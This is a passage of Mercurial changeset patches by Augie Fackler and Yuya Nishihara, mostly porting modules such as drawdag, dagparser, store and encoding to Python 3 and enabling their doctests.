+    ...  +---o  c
+    ...  | |
+    ...  o |  b
+    ...  |/
+    ...  o  a
+    ... ''').items()})
+    {'a': [],
+     'b': ['a'],
+     'bar': ['b', 'a'],
+     'baz': [],
+     'c': ['b'],
+     'd': ['b'],
+     'foo': ['baz', 'b']}
+    """
     lines = text.splitlines()
     edges = collections.defaultdict(list)  # {node: []}
 
@@ -277,6 +322,18 @@
                     v.remove(leaf)
 
 def _getcomments(text):
+    """
+    >>> [s for s in _getcomments(br'''
+    ...        G
+    ...        |
+    ...  I D C F   # split: B -> E, F, G
+    ...   \ \| |   # replace: C -> D -> H
+    ...    H B E   # prune: F, I
+    ...     \|/
+    ...      A
+    ... ''')]
+    ['split: B -> E, F, G', 'replace: C -> D -> H', 'prune: F, I']
+    """
     for line in text.splitlines():
         if ' # ' not in line:
             continue
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -78,3 +78,5 @@
 testmod('hgext.convert.p4')
 testmod('hgext.convert.subversion')
 testmod('hgext.mq')
+# Helper scripts in tests/ that have doctests:
+testmod('drawdag')
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503465796 14400
#      Wed Aug 23 01:23:16 2017 -0400
# Node ID 5a1b41268b7c7418b3bdd446a6ff53fa7d694c86
# Parent  1e71dddc10a24f195a46c4a4d513145ef37f4142
drawdag: port to python 3

diff --git a/tests/drawdag.py b/tests/drawdag.py
--- a/tests/drawdag.py
+++ b/tests/drawdag.py
@@ -92,6 +92,7 @@
     error,
     node,
     obsolete,
+    pycompat,
     registrar,
     scmutil,
     tags as tagsmod,
@@ -100,9 +101,9 @@
 cmdtable = {}
 command = registrar.command(cmdtable)
 
-_pipechars = '\\/+-|'
-_nonpipechars = ''.join(chr(i) for i in xrange(33, 127)
-                        if chr(i) not in _pipechars)
+_pipechars = b'\\/+-|'
+_nonpipechars = b''.join(pycompat.bytechr(i) for i in range(33, 127)
+                         if pycompat.bytechr(i) not in _pipechars)
 
 def _isname(ch):
     """char -> bool. return True if ch looks like part of a name, False
@@ -113,7 +114,7 @@
     r"""str -> {str : [str]}. convert the ASCII graph to edges
 
     >>> import pprint
-    >>> pprint.pprint({k: [vv for vv in v]
+    >>> pprint.pprint({pycompat.sysstr(k): [pycompat.sysstr(vv) for vv in v]
     ...  for k, v in _parseasciigraph(br'''
     ...        G
     ...        |
@@ -132,7 +133,7 @@
      'G': ['F'],
      'H': ['A'],
      'I': ['H']}
-    >>> pprint.pprint({k: [vv for vv in v]
+    >>> pprint.pprint({pycompat.sysstr(k): [pycompat.sysstr(vv) for vv in v]
     ...  for k, v in _parseasciigraph(br'''
     ...  o    foo
     ...  |\
@@ -163,16 +164,16 @@
         """(int, int) -> char. give a coordinate, return the char. return a
         space for anything out of range"""
         if x < 0 or y < 0:
-            return ' '
+            return b' '
         try:
-            return lines[y][x]
+            return lines[y][x:x + 1] or b' '
         except IndexError:
-            return ' '
+            return b' '
 
     def getname(y, x):
         """(int, int) -> str. like get(y, x) but concatenate left and right
         parts. if name is an 'o', try to replace it to the right"""
-        result = ''
+        result = b''
         for i in itertools.count(0):
             ch = get(y, x - i)
             if not _isname(ch):
@@ -183,17 +184,17 @@
             if not _isname(ch):
                 break
             result += ch
-        if result == 'o':
+        if result == b'o':
             # special handling, find the name to the right
-            result = ''
+            result = b''
             for i in itertools.count(2):
                 ch = get(y, x + i)
-                if ch == ' ' or ch in _pipechars:
+                if ch == b' ' or ch in _pipechars:
                     if result or x + i >= len(lines[y]):
                         break
                 else:
                     result += ch
-            return result or 'o'
+            return result or b'o'
         return result
 
     def parents(y, x):
@@ -209,19 +210,19 @@
             if '-' (or '+') is not in excepted, and get(y, x) is '-' (or '+'),
             the next line (y + 1, x) will be checked instead."""
             ch = get(y, x)
-            if any(ch == c and c not in expected for c in '-+'):
+            if any(ch == c and c not in expected for c in (b'-', b'+')):
                 y += 1
                 return follow(y + 1, x, expected)
-            if ch in expected or ('o' in expected and _isname(ch)):
+            if ch in expected or (b'o' in expected and _isname(ch)):
                 visit.append((y, x))
 
         #  -o-  # starting point:
         #  /|\ # follow '-' (horizontally), and '/|\' (to the bottom)
-        follow(y + 1, x, '|')
-        follow(y + 1, x - 1, '/')
-        follow(y + 1, x + 1, '\\')
-        follow(y, x - 1, '-')
-        follow(y, x + 1, '-')
+        follow(y + 1, x, b'|')
+        follow(y + 1, x - 1, b'/')
+        follow(y + 1, x + 1, b'\\')
+        follow(y, x - 1, b'-')
+        follow(y, x + 1, b'-')
 
         while visit:
             y, x = visit.pop()
@@ -232,28 +233,28 @@
             if _isname(ch):
                 result.append(getname(y, x))
                 continue
-            elif ch == '|':
-                follow(y + 1, x, '/|o')
-                follow(y + 1, x - 1, '/')
-                follow(y + 1, x + 1, '\\')
-            elif ch == '+':
-                follow(y, x - 1, '-')
-                follow(y, x + 1, '-')
-                follow(y + 1, x - 1, '/')
-                follow(y + 1, x + 1, '\\')
-                follow(y + 1, x, '|')
-            elif ch == '\\':
-                follow(y + 1, x + 1, '\\|o')
-            elif ch == '/':
-                follow(y + 1, x - 1, '/|o')
-            elif ch == '-':
-                follow(y, x - 1, '-+o')
-                follow(y, x + 1, '-+o')
+            elif ch == b'|':
+                follow(y + 1, x, b'/|o')
+                follow(y + 1, x - 1, b'/')
+                follow(y + 1, x + 1, b'\\')
+            elif ch == b'+':
+                follow(y, x - 1, b'-')
+                follow(y, x + 1, b'-')
+                follow(y + 1, x - 1, b'/')
+                follow(y + 1, x + 1, b'\\')
+                follow(y + 1, x, b'|')
+            elif ch == b'\\':
+                follow(y + 1, x + 1, b'\\|o')
+            elif ch == b'/':
+                follow(y + 1, x - 1, b'/|o')
+            elif ch == b'-':
+                follow(y, x - 1, b'-+o')
+                follow(y, x + 1, b'-+o')
         return result
 
     for y, line in enumerate(lines):
-        for x, ch in enumerate(line):
-            if ch == '#':  # comment
+        for x, ch in enumerate(pycompat.bytestr(line)):
+            if ch == b'#':  # comment
                 break
             if _isname(ch):
                 edges[getname(y, x)] += parents(y, x)
@@ -278,14 +279,14 @@
         return None
 
     def flags(self):
-        return ''
+        return b''
 
 class simplecommitctx(context.committablectx):
     def __init__(self, repo, name, parentctxs, added):
         opts = {
             'changes': scmutil.status([], list(added), [], [], [], [], []),
-            'date': '0 0',
-            'extra': {'branch': 'default'},
+            'date': b'0 0',
+            'extra': {b'branch': b'default'},
         }
         super(simplecommitctx, self).__init__(self, name, **opts)
         self._repo = repo
@@ -304,7 +305,7 @@
     """yield node, parents in topologically order"""
     visible = set(edges.keys())
     remaining = {}  # {str: [str]}
-    for k, vs in edges.iteritems():
+    for k, vs in edges.items():
         for v in vs:
             if v not in remaining:
                 remaining[v] = []
@@ -317,13 +318,13 @@
             if leaf in visible:
                 yield leaf, edges[leaf]
             del remaining[leaf]
-            for k, v in remaining.iteritems():
+            for k, v in remaining.items():
                 if leaf in v:
                     v.remove(leaf)
 
 def _getcomments(text):
     """
-    >>> [s for s in _getcomments(br'''
+    >>> [pycompat.sysstr(s) for s in _getcomments(br'''
     ...        G
     ...        |
     ...  I D C F   # split: B -> E, F, G
@@ -335,11 +336,11 @@
     ['split: B -> E, F, G', 'replace: C -> D -> H', 'prune: F, I']
     """
     for line in text.splitlines():
-        if ' # ' not in line:
+        if b' # ' not in line:
             continue
-        yield line.split(' # ', 1)[1].split(' # ')[0].strip()
+        yield line.split(b' # ', 1)[1].split(b' # ')[0].strip()
 
-@command('debugdrawdag', [])
+@command(b'debugdrawdag', [])
 def debugdrawdag(ui, repo, **opts):
     """read an ASCII graph from stdin and create changesets
 
@@ -360,22 +361,22 @@
 
     # parse the graph and make sure len(parents) <= 2 for each node
     edges = _parseasciigraph(text)
-    for k, v in edges.iteritems():
+    for k, v in edges.items():
         if len(v) > 2:
             raise error.Abort(_('%s: too many parents: %s')
-                              % (k, ' '.join(v)))
+                              % (k, b' '.join(v)))
 
     # parse comments to get extra file content instructions
     files = collections.defaultdict(dict) # {(name, path): content}
     comments = list(_getcomments(text))
-    filere = re.compile(r'^(\w+)/([\w/]+)\s*=\s*(.*)$', re.M)
-    for name, path, content in filere.findall('\n'.join(comments)):
-        files[name][path] = content.replace(r'\n', '\n')
+    filere = re.compile(br'^(\w+)/([\w/]+)\s*=\s*(.*)$', re.M)
+    for name, path, content in filere.findall(b'\n'.join(comments)):
+        files[name][path] = content.replace(br'\n', b'\n')
 
     committed = {None: node.nullid}  # {name: node}
 
     # for leaf nodes, try to find existing nodes in repo
-    for name, parents in edges.iteritems():
+    for name, parents in edges.items():
         if len(parents) == 0:
             try:
                 committed[name] = scmutil.revsingle(repo, name)
@@ -407,27 +408,27 @@
                     local=True)
 
     # handle special comments
-    with repo.wlock(), repo.lock(), repo.transaction('drawdag'):
+    with repo.wlock(), repo.lock(), repo.transaction(b'drawdag'):
         getctx = lambda x: repo.unfiltered()[committed[x.strip()]]
         for comment in comments:
             rels = [] # obsolete relationships
-            args = comment.split(':', 1)
+            args = comment.split(b':', 1)
             if len(args) <= 1:
                 continue
 
             cmd = args[0].strip()
             arg = args[1].strip()
 
-            if cmd in ('replace', 'rebase', 'amend'):
-                nodes = [getctx(m) for m in arg.split('->')]
+            if cmd in (b'replace', b'rebase', b'amend'):
+                nodes = [getctx(m) for m in arg.split(b'->')]
                 for i in range(len(nodes) - 1):
                     rels.append((nodes[i], (nodes[i + 1],)))
-            elif cmd in ('split',):
-                pre, succs = arg.split('->')
-                succs = succs.split(',')
+            elif cmd in (b'split',):
+                pre, succs = arg.split(b'->')
+                succs = succs.split(b',')
                 rels.append((getctx(pre), (getctx(s) for s in succs)))
-            elif cmd in ('prune',):
-                for n in arg.split(','):
+            elif cmd in (b'prune',):
+                for n in arg.split(b','):
                     rels.append((getctx(n), ()))
             if rels:
                 obsolete.createmarkers(repo, rels, date=(0, 0), operation=cmd)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504428441 -32400
#      Sun Sep 03 17:47:21 2017 +0900
# Node ID 0a2fd3bfc7045d9d626f3d72d5f463b02eb3feaa
# Parent  5a1b41268b7c7418b3bdd446a6ff53fa7d694c86
py3: convert function name to bytes in ui.configwith()

diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -595,7 +595,7 @@
             return convert(v)
         except (ValueError, error.ParseError):
             if desc is None:
-                desc = convert.__name__
+                desc = pycompat.sysbytes(convert.__name__)
             raise error.ConfigError(_("%s.%s is not a valid %s ('%s')")
                                     % (section, name, desc, v))
 
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -68,7 +68,7 @@
 testmod('mercurial.subrepo')
 testmod('mercurial.templatefilters')
 testmod('mercurial.templater')
-testmod('mercurial.ui', py3=False)  # py3: __name__
+testmod('mercurial.ui')
 testmod('mercurial.url')
 testmod('mercurial.util', py3=False)  # py3: multiple bytes/unicode issues
 testmod('mercurial.util', testtarget='platform')
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504419774 -32400
#      Sun Sep 03 15:22:54 2017 +0900
# Node ID da9c4b0693c53e0c916865f6dcee7302b9fa0b5e
# Parent  0a2fd3bfc7045d9d626f3d72d5f463b02eb3feaa
dagparser: fix variable name in error message

There's no variable named 'type'.

diff --git a/mercurial/dagparser.py b/mercurial/dagparser.py
--- a/mercurial/dagparser.py
+++ b/mercurial/dagparser.py
@@ -368,7 +368,7 @@
                     yield '\n'
                 else:
                     raise error.Abort(_("invalid event type in dag: %s")
-                                     % str((type, data)))
+                                      % str((kind, data)))
         if run:
             yield '+' + str(run)
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504419950 -32400
#      Sun Sep 03 15:25:50 2017 +0900
# Node ID 8927534cacbc0660b234ebdff24a95035043f0d8
# Parent  da9c4b0693c53e0c916865f6dcee7302b9fa0b5e
py3: drop use of str() in dagparser.py

diff --git a/mercurial/dagparser.py b/mercurial/dagparser.py
--- a/mercurial/dagparser.py
+++ b/mercurial/dagparser.py
@@ -11,7 +11,10 @@
 import string
 
 from .i18n import _
-from . import error
+from . import (
+    error,
+    util,
+)
 
 def parsedag(desc):
     '''parses a DAG from a concise textual description; generates events
@@ -314,7 +317,7 @@
                 if len(ps) == 1 and ps[0] == -1:
                     if needroot:
                         if run:
-                            yield '+' + str(run)
+                            yield '+%d' % run
                             run = 0
                         if wrapnonlinear:
                             yield '\n'
@@ -329,7 +332,7 @@
                         run += 1
                 else:
                     if run:
-                        yield '+' + str(run)
+                        yield '+%d' % run
                         run = 0
                     if wrapnonlinear:
                         yield '\n'
@@ -340,11 +343,11 @@
                         elif p in labels:
                             prefs.append(labels[p])
                         else:
-                            prefs.append(str(r - p))
+                            prefs.append('%d' % (r - p))
                     yield '*' + '/'.join(prefs)
             else:
                 if run:
-                    yield '+' + str(run)
+                    yield '+%d' % run
                     run = 0
                 if kind == 'l':
                     rid, name = data
@@ -367,10 +370,12 @@
                     yield '#' + data
                     yield '\n'
                 else:
-                    raise error.Abort(_("invalid event type in dag: %s")
-                                      % str((kind, data)))
+                    raise error.Abort(_("invalid event type in dag: "
+                                        "('%s', '%s')")
+                                      % (util.escapestr(kind),
+                                         util.escapestr(data)))
         if run:
-            yield '+' + str(run)
+            yield '+%d' % run
 
     line = ''
     for part in gen():
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504420119 -32400
#      Sun Sep 03 15:28:39 2017 +0900
# Node ID a48ad118c5583fa3a637139d9d63c804b43b6b28
# Parent  8927534cacbc0660b234ebdff24a95035043f0d8
py3: wrap string constants in dagparser.py with bytestr()

diff --git a/mercurial/dagparser.py b/mercurial/dagparser.py
--- a/mercurial/dagparser.py
+++ b/mercurial/dagparser.py
@@ -13,6 +13,7 @@
 from .i18n import _
 from . import (
     error,
+    pycompat,
     util,
 )
 
@@ -158,7 +159,6 @@
 
     Error:
 
-        >>> from . import pycompat
         >>> try: list(parsedag(b'+1 bad'))
         ... except Exception as e: print(pycompat.sysstr(bytes(e)))
         invalid character in dag description: bad...
@@ -167,7 +167,7 @@
     if not desc:
         return
 
-    wordchars = string.ascii_letters + string.digits
+    wordchars = pycompat.bytestr(string.ascii_letters + string.digits)
 
     labels = {}
     p1 = -1
@@ -176,7 +176,7 @@
     def resolve(ref):
         if not ref:
             return p1
-        elif ref[0] in string.digits:
+        elif ref[0] in pycompat.bytestr(string.digits):
             return r - int(ref)
         else:
             return labels[ref]
@@ -210,7 +210,7 @@
 
     c = nextch()
     while c != '\0':
-        while c in string.whitespace:
+        while c in pycompat.bytestr(string.whitespace):
             c = nextch()
         if c == '.':
             yield 'n', (r, [p1])
@@ -218,7 +218,7 @@
             r += 1
             c = nextch()
         elif c == '+':
-            c, digs = nextrun(nextch(), string.digits)
+            c, digs = nextrun(nextch(), pycompat.bytestr(string.digits))
             n = int(digs)
             for i in xrange(0, n):
                 yield 'n', (r, [p1])
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504420365 -32400
#      Sun Sep 03 15:32:45 2017 +0900
# Node ID dfd009e5f9f20b8190206efe422bd85fd0a6072e
# Parent  a48ad118c5583fa3a637139d9d63c804b43b6b28
py3: iterate bytes as a byte string in dagparser.py

diff --git a/mercurial/dagparser.py b/mercurial/dagparser.py
--- a/mercurial/dagparser.py
+++ b/mercurial/dagparser.py
@@ -181,7 +181,7 @@
         else:
             return labels[ref]
 
-    chiter = (c for c in desc)
+    chiter = pycompat.iterbytestr(desc)
 
     def nextch():
         return next(chiter, '\0')
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -48,8 +48,7 @@
 testmod('mercurial.color')
 testmod('mercurial.config')
 testmod('mercurial.context')
-testmod('mercurial.dagparser', optionflags=doctest.NORMALIZE_WHITESPACE,
-        py3=False)  # py3: use of str()
+testmod('mercurial.dagparser', optionflags=doctest.NORMALIZE_WHITESPACE)
 testmod('mercurial.dispatch')
 testmod('mercurial.encoding', py3=False)  # py3: multiple encoding issues
 testmod('mercurial.formatter', py3=False)  # py3: write bytes to stdout
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504427170 -32400
#      Sun Sep 03 17:26:10 2017 +0900
# Node ID 96808804b68fb07b6b8c19d7eeb54c8864cceb5c
# Parent  dfd009e5f9f20b8190206efe422bd85fd0a6072e
store: give name to lowerencode function

lambda function isn't easy to track in traceback.

diff --git a/mercurial/store.py b/mercurial/store.py
--- a/mercurial/store.py
+++ b/mercurial/store.py
@@ -162,7 +162,9 @@
         cmap[chr(x)] = "~%02x" % x
     for x in range(ord("A"), ord("Z") + 1):
         cmap[chr(x)] = chr(x).lower()
-    return lambda s: "".join([cmap[c] for c in s])
+    def lowerencode(s):
+        return "".join([cmap[c] for c in s])
+    return lowerencode
 
 lowerencode = getattr(parsers, 'lowerencode', None) or _buildlowerencodefun()
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504427270 -32400
#      Sun Sep 03 17:27:50 2017 +0900
# Node ID 7e3f078b6f3181382635443b3babc25e68cede6a
# Parent  96808804b68fb07b6b8c19d7eeb54c8864cceb5c
py3: use bytechr() in store._buildlowerencodefun()

diff --git a/mercurial/store.py b/mercurial/store.py
--- a/mercurial/store.py
+++ b/mercurial/store.py
@@ -157,11 +157,12 @@
     >>> f(b'the\\x07quick\\xADshot')
     'the~07quick~adshot'
     '''
-    cmap = dict([(chr(x), chr(x)) for x in xrange(127)])
+    xchr = pycompat.bytechr
+    cmap = dict([(xchr(x), xchr(x)) for x in xrange(127)])
     for x in _reserved():
-        cmap[chr(x)] = "~%02x" % x
+        cmap[xchr(x)] = "~%02x" % x
     for x in range(ord("A"), ord("Z") + 1):
-        cmap[chr(x)] = chr(x).lower()
+        cmap[xchr(x)] = xchr(x).lower()
     def lowerencode(s):
         return "".join([cmap[c] for c in s])
     return lowerencode
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504427327 -32400
#      Sun Sep 03 17:28:47 2017 +0900
# Node ID b4abc438a8c92dc2ed2401d90efe082249604589
# Parent  7e3f078b6f3181382635443b3babc25e68cede6a
py3: iterate bytes as a byte string in store.lowerencode()

diff --git a/mercurial/store.py b/mercurial/store.py
--- a/mercurial/store.py
+++ b/mercurial/store.py
@@ -164,7 +164,7 @@
     for x in range(ord("A"), ord("Z") + 1):
         cmap[xchr(x)] = xchr(x).lower()
     def lowerencode(s):
-        return "".join([cmap[c] for c in s])
+        return "".join([cmap[c] for c in pycompat.iterbytestr(s)])
     return lowerencode
 
 lowerencode = getattr(parsers, 'lowerencode', None) or _buildlowerencodefun()
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -63,7 +63,7 @@
 testmod('mercurial.pycompat')
 testmod('mercurial.revsetlang')
 testmod('mercurial.smartset')
-testmod('mercurial.store', py3=False)  # py3: bytes[n]
+testmod('mercurial.store')
 testmod('mercurial.subrepo')
 testmod('mercurial.templatefilters')
 testmod('mercurial.templater')
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504421669 -32400
#      Sun Sep 03 15:54:29 2017 +0900
# Node ID 1c601df9894c472ec730d14a2c8c8d3675bb5e8f
# Parent  b4abc438a8c92dc2ed2401d90efe082249604589
py3: wrap bytes in encoding.from/toutf8b() with bytestr

diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -508,6 +508,7 @@
         except UnicodeDecodeError:
             pass
 
+    s = pycompat.bytestr(s)
     r = ""
     pos = 0
     l = len(s)
@@ -560,6 +561,7 @@
     # points to be escaped. Instead, we use our handy getutf8char
     # helper again to walk the string without "decoding" it.
 
+    s = pycompat.bytestr(s)
     r = ""
     pos = 0
     l = len(s)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505569339 -32400
#      Sat Sep 16 22:42:19 2017 +0900
# Node ID 5307cc57f2719e7cd082a93dddcdbdde04f23ccf
# Parent  1c601df9894c472ec730d14a2c8c8d3675bb5e8f
py3: don't pass bytes to array.array()

diff --git a/mercurial/pure/charencode.py b/mercurial/pure/charencode.py
--- a/mercurial/pure/charencode.py
+++ b/mercurial/pure/charencode.py
@@ -74,6 +74,6 @@
     else:
         jm = _jsonmap
     # non-BMP char is represented as UTF-16 surrogate pair
-    u16codes = array.array('H', u8chars.decode('utf-8').encode('utf-16'))
+    u16codes = array.array(r'H', u8chars.decode('utf-8').encode('utf-16'))
     u16codes.pop(0)  # drop BOM
     return ''.join(jm[x] if x < 128 else '\\u%04x' % x for x in u16codes)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505570148 -32400
#      Sat Sep 16 22:55:48 2017 +0900
# Node ID aa877860d4d7af411b7d6652aa27a6e2a2e1a19f
# Parent  5307cc57f2719e7cd082a93dddcdbdde04f23ccf
py3: use 'surrogatepass' error handler to process U+DCxx transparently

It's disallowed by default on Python 3.

https://docs.python.org/3/library/codecs.html#error-handlers

diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -448,6 +448,13 @@
         pass
     return charencodepure.jsonescapeu8fallback(u8chars, paranoid)
 
+# We need to decode/encode U+DCxx codes transparently since invalid UTF-8
+# bytes are mapped to that range.
+if pycompat.ispy3:
+    _utf8strict = r'surrogatepass'
+else:
+    _utf8strict = r'strict'
+
 _utf8len = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 4]
 
 def getutf8char(s, pos):
@@ -464,7 +471,7 @@
 
     c = s[pos:pos + l]
     # validate with attempted decode
-    c.decode("utf-8")
+    c.decode("utf-8", _utf8strict)
     return c
 
 def toutf8b(s):
@@ -503,7 +510,7 @@
         if isinstance(s, localstr):
             return s._utf8
         try:
-            s.decode('utf-8')
+            s.decode('utf-8', _utf8strict)
             return s
         except UnicodeDecodeError:
             pass
@@ -517,12 +524,12 @@
             c = getutf8char(s, pos)
             if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
                 # have to re-escape existing U+DCxx characters
-                c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
+                c = unichr(0xdc00 + ord(s[pos])).encode('utf-8', _utf8strict)
                 pos += 1
             else:
                 pos += len(c)
         except UnicodeDecodeError:
-            c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
+            c = unichr(0xdc00 + ord(s[pos])).encode('utf-8', _utf8strict)
             pos += 1
         r += c
     return r
@@ -570,7 +577,7 @@
         pos += len(c)
         # unescape U+DCxx characters
         if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
-            c = chr(ord(c.decode("utf-8")) & 0xff)
+            c = pycompat.bytechr(ord(c.decode("utf-8", _utf8strict)) & 0xff)
         r += c
     return r
 
diff --git a/mercurial/pure/charencode.py b/mercurial/pure/charencode.py
--- a/mercurial/pure/charencode.py
+++ b/mercurial/pure/charencode.py
@@ -64,6 +64,11 @@
     except IndexError:
         raise ValueError
 
+if pycompat.ispy3:
+    _utf8strict = r'surrogatepass'
+else:
+    _utf8strict = r'strict'
+
 def jsonescapeu8fallback(u8chars, paranoid):
     """Convert a UTF-8 byte string to JSON-escaped form (slow path)
 
@@ -74,6 +79,7 @@
     else:
         jm = _jsonmap
     # non-BMP char is represented as UTF-16 surrogate pair
-    u16codes = array.array(r'H', u8chars.decode('utf-8').encode('utf-16'))
+    u16b = u8chars.decode('utf-8', _utf8strict).encode('utf-16', _utf8strict)
+    u16codes = array.array(r'H', u16b)
     u16codes.pop(0)  # drop BOM
     return ''.join(jm[x] if x < 128 else '\\u%04x' % x for x in u16codes)
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -50,7 +50,7 @@
 testmod('mercurial.context')
 testmod('mercurial.dagparser', optionflags=doctest.NORMALIZE_WHITESPACE)
 testmod('mercurial.dispatch')
-testmod('mercurial.encoding', py3=False)  # py3: multiple encoding issues
+testmod('mercurial.encoding')
 testmod('mercurial.formatter', py3=False)  # py3: write bytes to stdout
 testmod('mercurial.hg')
 testmod('mercurial.hgweb.hgwebdir_mod', py3=False)  # py3: repr(bytes) ?
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505487525 -32400
#      Fri Sep 15 23:58:45 2017 +0900
# Node ID 21fc747e1bc55489fea3858e97561b6553c17f94
# Parent  aa877860d4d7af411b7d6652aa27a6e2a2e1a19f
revlog: update signature of dummy addgroup() in bundlerepo and unionrepo

Per c8b6ed51386b, 2f5c45fe3a3b and 00e3f909907f.

diff --git a/mercurial/bundlerepo.py b/mercurial/bundlerepo.py
--- a/mercurial/bundlerepo.py
+++ b/mercurial/bundlerepo.py
@@ -164,7 +164,7 @@
 
     def addrevision(self, text, transaction, link, p1=None, p2=None, d=None):
         raise NotImplementedError
-    def addgroup(self, revs, linkmapper, transaction):
+    def addgroup(self, deltas, transaction, addrevisioncb=None):
         raise NotImplementedError
     def strip(self, rev, minlink):
         raise NotImplementedError
diff --git a/mercurial/unionrepo.py b/mercurial/unionrepo.py
--- a/mercurial/unionrepo.py
+++ b/mercurial/unionrepo.py
@@ -126,7 +126,7 @@
 
     def addrevision(self, text, transaction, link, p1=None, p2=None, d=None):
         raise NotImplementedError
-    def addgroup(self, revs, linkmapper, transaction):
+    def addgroup(self, deltas, transaction, addrevisioncb=None):
         raise NotImplementedError
     def strip(self, rev, minlink):
         raise NotImplementedError
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1505574548 14400
#      Sat Sep 16 11:09:08 2017 -0400
# Node ID e3cd724231ffaf4227dacb131a832564a15982cc
# Parent  21fc747e1bc55489fea3858e97561b6553c17f94
exchange: hit opargs with pycompat.strkwargs before **-ing it

Fixes Python 3 problems.

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -423,7 +423,7 @@
     if opargs is None:
         opargs = {}
     pushop = pushoperation(repo, remote, force, revs, newbranch, bookmarks,
-                           **opargs)
+                           **pycompat.strkwargs(opargs))
     if pushop.remote.local():
         missing = (set(pushop.repo.requirements)
                    - pushop.remote.local().supported)
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1505515116 14400
#      Fri Sep 15 18:38:36 2017 -0400
# Node ID 8e0358024a36d7cc5d3bed0fa7f0577ff6906df7
# Parent  e3cd724231ffaf4227dacb131a832564a15982cc
bundles: turn nbchanges int into a bytestr using pycompat.bytestr

Fixes some python 3 failures.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1444,7 +1444,7 @@
     part = bundler.newpart('changegroup', data=cg.getchunks())
     part.addparam('version', cg.version)
     if 'clcount' in cg.extras:
-        part.addparam('nbchanges', str(cg.extras['clcount']),
+        part.addparam('nbchanges', '%d' % cg.extras['clcount'],
                       mandatory=False)
     if opts.get('phases') and repo.revs('%ln and secret()',
                                         outgoing.missingheads):
@@ -1520,7 +1520,7 @@
         part = bundle.newpart('changegroup', data=cg.getchunks())
         part.addparam('version', cg.version)
         if 'clcount' in cg.extras:
-            part.addparam('nbchanges', str(cg.extras['clcount']),
+            part.addparam('nbchanges', '%d' % cg.extras['clcount'],
                           mandatory=False)
         chunkiter = bundle.getchunks()
     else:
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -1640,7 +1640,8 @@
         part = bundler.newpart('changegroup', data=cgstream)
         if cgversions:
             part.addparam('version', version)
-        part.addparam('nbchanges', str(len(outgoing.missing)), mandatory=False)
+        part.addparam('nbchanges', '%d' % len(outgoing.missing),
+                      mandatory=False)
         if 'treemanifest' in repo.requirements:
             part.addparam('treemanifest', '1')
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503451354 14400
#      Tue Aug 22 21:22:34 2017 -0400
# Node ID 6193d810f7bbcf2b3a15df0f9a5f8d0a98ebd5ad
# Parent  8e0358024a36d7cc5d3bed0fa7f0577ff6906df7
repair: reliably obtain bytestr of node ids

diff --git a/mercurial/repair.py b/mercurial/repair.py
--- a/mercurial/repair.py
+++ b/mercurial/repair.py
@@ -12,7 +12,10 @@
 import hashlib
 
 from .i18n import _
-from .node import short
+from .node import (
+    hex,
+    short,
+)
 from . import (
     bundle2,
     changegroup,
@@ -35,8 +38,9 @@
     # Include a hash of all the nodes in the filename for uniqueness
     allcommits = repo.set('%ln::%ln', bases, heads)
     allhashes = sorted(c.hex() for c in allcommits)
-    totalhash = hashlib.sha1(''.join(allhashes)).hexdigest()
-    name = "%s/%s-%s-%s.hg" % (backupdir, short(node), totalhash[:8], suffix)
+    totalhash = hashlib.sha1(''.join(allhashes)).digest()
+    name = "%s/%s-%s-%s.hg" % (backupdir, short(node),
+                               hex(totalhash[:4]), suffix)
 
     cgversion = changegroup.safeversion(repo)
     comp = None
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1505575996 14400
#      Sat Sep 16 11:33:16 2017 -0400
# Node ID fa9f5d6733d37dc3d8d85c8a8e03f2b303559600
# Parent  6193d810f7bbcf2b3a15df0f9a5f8d0a98ebd5ad
python3: another 3 tests whitelisted

diff --git a/contrib/python3-whitelist b/contrib/python3-whitelist
--- a/contrib/python3-whitelist
+++ b/contrib/python3-whitelist
@@ -1,6 +1,7 @@
 test-addremove.t
 test-ancestor.py
 test-backwards-remove.t
